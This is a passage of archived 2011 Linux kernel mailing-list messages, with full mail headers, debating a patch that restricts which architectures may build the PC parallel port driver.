        Matt Turner <mattst88@gmail.com>,
        Michal Simek <monstr@monstr.eu>,
        Mikael Starvik <starvik@axis.com>,
        Paul Mackerras <paulus@samba.org>,
        Pa
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jun 15 06:20:19 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1QWhaU-0001Ic-SF
	for sgi-linux-mips@gmane.org; Wed, 15 Jun 2011 06:20:18 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:46258 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491032Ab1FOEUI (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 15 Jun 2011 06:20:08 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 15 Jun 2011 06:19:51 +0200 (CEST)
Original-Received: from terminus.zytor.com ([198.137.202.10]:34746 "EHLO mail.zytor.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1490982Ab1FOETn (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 15 Jun 2011 06:19:43 +0200
Original-Received: from tazenda.hos.anvin.org ([IPv6:2001:470:861f:0:e269:95ff:fe35:9f3c])
        (authenticated bits=0)
        by mail.zytor.com (8.14.4/8.14.4) with ESMTP id p5F4IfPk015770
        (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
        Tue, 14 Jun 2011 21:18:45 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc15 Thunderbird/3.1.10
In-Reply-To: <20110614223404.GA30057@linux-mips.org>
X-archive-position: 30391
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hpa@zytor.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:31484 gmane.linux.kernel.cross-arch:10025 gmane.linux.ports.sparc:15142 gmane.linux.uclinux.microblaze:11606 gmane.linux.ports.alpha:1488 gmane.linux.ports.arm.kernel:120552 gmane.linux.ports.ia64:21720 gmane.linux.kernel:1155036 gmane.linux.ports.m68k:2464 gmane.linux.ports.parisc:3797 gmane.linux.ports.ppc64.devel:75139 gmane.linux.ports.sh.devel:11371
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/31484>

On 06/14/2011 03:34 PM, Ralf Baechle wrote:
> 
> There is no point in offering to build something that couldn't possibly be
> used.  It just makes the kernel harder to configure and inflates the test
> matrix for no good reason.
> 

I see... that's why a bunch of devices that only exist on ARM and MIPS
SoCs are offered on x86 platforms?

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.




From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 21:30:47 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <4DF83577.6040903@zytor.com>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com> <201106142333.16203.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308112320 9458 80.91.229.12 (15 Jun 2011 04:32:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 04:32:00 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 06:31:48 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWhlc-0005ux-BJ
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 06:31:48 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWhla-0004Bl-Q1; Wed, 15 Jun 2011 04:31:46 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWhla-00045Z-Ca; Wed, 15 Jun 2011 04:31:46 +0000
Original-Received: from terminus.zytor.com ([2001:1868:205::10] helo=mail.zytor.com)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWhlV-00045E-Ai for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 04:31:42 +0000
Original-Received: from tazenda.hos.anvin.org
	([IPv6:2001:470:861f:0:e269:95ff:fe35:9f3c]) (authenticated bits=0)
	by mail.zytor.com (8.14.4/8.14.4) with ESMTP id p5F4UqHr019189
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Tue, 14 Jun 2011 21:30:53 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
	rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc15 Thunderbird/3.1.10
In-Reply-To: <201106142333.16203.arnd@arndb.de>
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_003141_753667_F800464D 
X-CRM114-Status: GOOD (  17.13  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-0.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
	domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120554 gmane.linux.ports.mips.general:31485 gmane.linux.ports.m68k:2465 gmane.linux.ports.ia64:21721 gmane.linux.ports.sh.devel:11372 gmane.linux.ports.sparc:15143 gmane.linux.kernel.cross-arch:10026 gmane.linux.uclinux.microblaze:11607 gmane.linux.ports.parisc:3798 gmane.linux.kernel:1155038 gmane.linux.ports.alpha:1489 gmane.linux.ports.ppc64.devel:75140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120554>

On 06/14/2011 02:33 PM, Arnd Bergmann wrote:
>>
>> Why on earth restrict it like that?  It's just a device driver, like
>> more or less any other device driver...
> 
> I'd say any other classic ISA/PC driver, including floppy, gameport or
> serial-8250. One problem with these is that we never fully worked out
> the dependencies for these, which we probably should. CONFIG_ISA
> generally means ISA add-on cards, but that might not be enabled for
> platforms that have a pc-parport but no ISA slots.
> 

OK, serial-8250 is clearly just plain wrong, since the 8250 series UARTs
are ubiquitous across just about every platform.

Floppy is special (in the short bus sense), since it is closely tied to
ISA DMA.  Conditionalizing this on ISA DMA makes total sense.

Parallel port is an intermediate case... Centronics parallel ports
predate the PC ecosystem by quite a bit, and the particular arrangement
of ports became popular with the PC and spread to other platforms, but
the particular variant of it known as ECP (as opposed to EPP) is ISA DMA
specific.

> On the other hand, you have embedded platforms that currently build support
> for parport-pc but define the inb/outb macros to plain pointer dereferences
> (otherwise you can't build the 8250 driver). Loading parport-pc on those
> machines typically results in derefencing user memory in the best case.
>
> What I'd love to see is a configuration option for "arch has working
> PC-style inb/outb instructions", so we can build a kernel without them but
> still get MMIO based drivers for PCI-less platforms.

Now, isn't that was iowrite/ioread was designed for?

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.

From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 21:31:27 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <4DF8359F.10809@zytor.com>
References: <20110614190850.GA13526@linux-mips.org>
	<987664A83D2D224EAE907B061CE93D5301E7281306@orsmsx505.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308112340 9527 80.91.229.12 (15 Jun 2011 04:32:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 04:32:20 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, "x86@kernel.org" <x86@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmai
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 06:32:09 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWhlx-00065a-Ee
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 06:32:09 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWhlu-0004Vz-UM; Wed, 15 Jun 2011 04:32:07 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWhlu-00048Y-Dx; Wed, 15 Jun 2011 04:32:06 +0000
Original-Received: from terminus.zytor.com ([2001:1868:205::10] helo=mail.zytor.com)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWhlp-00048G-Tt for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 04:32:02 +0000
Original-Received: from tazenda.hos.anvin.org
	([IPv6:2001:470:861f:0:e269:95ff:fe35:9f3c]) (authenticated bits=0)
	by mail.zytor.com (8.14.4/8.14.4) with ESMTP id p5F4VWO0019301
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Tue, 14 Jun 2011 21:31:32 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
	rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc15 Thunderbird/3.1.10
In-Reply-To: <987664A83D2D224EAE907B061CE93D5301E7281306@orsmsx505.amr.corp.intel.com>
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_003202_258305_5252ECB3 
X-CRM114-Status: GOOD (  14.81  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-0.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
	domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120555 gmane.linux.ports.mips.general:31486 gmane.linux.ports.m68k:2466 gmane.linux.ports.ia64:21722 gmane.linux.ports.sh.devel:11373 gmane.linux.ports.sparc:15144 gmane.linux.kernel.cross-arch:10027 gmane.linux.uclinux.microblaze:11608 gmane.linux.ports.parisc:3799 gmane.linux.kernel:1155039 gmane.linux.ports.alpha:1490 gmane.linux.ports.ppc64.devel:75141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120555>

On 06/14/2011 03:08 PM, Luck, Tony wrote:
> diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
> index 38280ef..849805a 100644
> --- a/arch/ia64/Kconfig
> +++ b/arch/ia64/Kconfig
> @@ -23,6 +23,7 @@ config IA64
>  	select HAVE_ARCH_TRACEHOOK
>  	select HAVE_DMA_API_DEBUG
>  	select HAVE_GENERIC_HARDIRQS
> +	select HAVE_PC_PARPORT
>  	select GENERIC_IRQ_PROBE
>  	select GENERIC_PENDING_IRQ if SMP
>  	select IRQ_PER_CPU
> 
> I took a look at the back of all my ia64 systems - none of them
> have a parallel port.  It seems unlikely that new systems will
> start adding parallel ports :-)
> 
> So even if I had a printer (or other device) that used a parallel
> port, I have no way to test it.
> 

If it has PCI slots, it can have a parallel port.

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.

From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <guenter.roeck@ericsson.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.uclinux.microblaze,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 21:40:16 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20110615044016.GC10553@ericsson.com>
References: <20110614190850.GA13526@linux-mips.org>
 <4DF7C3CA.9050902@zytor.com>
 <20110614223404.GA30057@linux-mips.org>
 <4DF8329C.7000904@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: dough.gmane.org 1308113131 12893 80.91.229.12 (15 Jun 2011 04:45:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 04:45:31 +0000 (UTC)
Cc: Ralf Baechle <ralf@linux-mips.org>,
        "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Chris Metcalf <cmetcalf@tilera.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@redhat.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Kyle McMartin <kyle@mcmartin.ca>,
        Lennox Wu <lennox.wu@gmail.com>,
        Matt Turner <mattst88@gmail.com>,
        Michal Simek <monstr@monstr.eu>,
        Mikael Starvi
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jun 15 06:45:17 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1QWhyf-0002Lt-Ck
	for sgi-linux-mips@gmane.org; Wed, 15 Jun 2011 06:45:17 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:38071 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491032Ab1FOEpJ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 15 Jun 2011 06:45:09 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 15 Jun 2011 06:44:51 +0200 (CEST)
Original-Received: from imr4.ericy.com ([198.24.6.8]:53757 "EHLO imr4.ericy.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1490982Ab1FOEoo (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 15 Jun 2011 06:44:44 +0200
Original-Received: from eusaamw0711.eamcs.ericsson.se ([147.117.20.178])
        by imr4.ericy.com (8.14.3/8.14.3/Debian-9.1ubuntu1) with ESMTP id p5F4eMV5017064;
        Tue, 14 Jun 2011 23:40:23 -0500
Original-Received: from localhost (147.117.20.214) by eusaamw0711.eamcs.ericsson.se
 (147.117.20.179) with Microsoft SMTP Server id 8.3.137.0; Wed, 15 Jun 2011
 00:40:17 -0400
Content-Disposition: inline
In-Reply-To: <4DF8329C.7000904@zytor.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-archive-position: 30394
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: guenter.roeck@ericsson.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:31487 gmane.linux.kernel.cross-arch:10028 gmane.linux.ports.sparc:15145 gmane.linux.uclinux.microblaze:11609 gmane.linux.ports.alpha:1491 gmane.linux.ports.arm.kernel:120556 gmane.linux.ports.ia64:21723 gmane.linux.kernel:1155042 gmane.linux.ports.m68k:2467 gmane.linux.ports.parisc:3800 gmane.linux.ports.ppc64.devel:75142 gmane.linux.ports.sh.devel:11374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/31487>

On Wed, Jun 15, 2011 at 12:18:36AM -0400, H. Peter Anvin wrote:
> On 06/14/2011 03:34 PM, Ralf Baechle wrote:
> > 
> > There is no point in offering to build something that couldn't possibly be
> > used.  It just makes the kernel harder to configure and inflates the test
> > matrix for no good reason.
> > 
> 
> I see... that's why a bunch of devices that only exist on ARM and MIPS
> SoCs are offered on x86 platforms?
> 
http://en.wikipedia.org/wiki/Two_wrongs_make_a_right

Guenter



From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 22:43:43 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <4DF8468F.1080806@zytor.com>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com>
	<20110614223404.GA30057@linux-mips.org>
	<4DF8329C.7000904@zytor.com> <20110615044016.GC10553@ericsson.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308116699 28439 80.91.229.12 (15 Jun 2011 05:44:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 05:44:59 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, "x86@kernel.org" <x86@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmai
To: Guenter Roeck <guenter.roeck@ericsson.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 07:44:48 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWiuF-0000ht-QY
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 07:44:47 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWiuE-0006DJ-It; Wed, 15 Jun 2011 05:44:46 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWiuE-0004P9-5L; Wed, 15 Jun 2011 05:44:46 +0000
Original-Received: from terminus.zytor.com ([2001:1868:205::10] helo=mail.zytor.com)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWiu9-0004Or-LD for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 05:44:42 +0000
Original-Received: from tazenda.hos.anvin.org
	([IPv6:2001:470:861f:0:e269:95ff:fe35:9f3c]) (authenticated bits=0)
	by mail.zytor.com (8.14.4/8.14.4) with ESMTP id p5F5hnAj000560
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Tue, 14 Jun 2011 22:43:52 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
	rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc15 Thunderbird/3.1.10
In-Reply-To: <20110615044016.GC10553@ericsson.com>
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_014442_067231_36E8632C 
X-CRM114-Status: GOOD (  14.41  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-0.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	0.0 SINGLE_HEADER_2K       A single header contains 2K-3K characters
	-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
	domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120558 gmane.linux.ports.mips.general:31488 gmane.linux.ports.m68k:2468 gmane.linux.ports.ia64:21724 gmane.linux.ports.sh.devel:11375 gmane.linux.ports.sparc:15146 gmane.linux.kernel.cross-arch:10029 gmane.linux.uclinux.microblaze:11610 gmane.linux.ports.parisc:3801 gmane.linux.kernel:1155050 gmane.linux.ports.alpha:1492 gmane.linux.ports.ppc64.devel:75143
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120558>

On 06/14/2011 09:40 PM, Guenter Roeck wrote:
> On Wed, Jun 15, 2011 at 12:18:36AM -0400, H. Peter Anvin wrote:
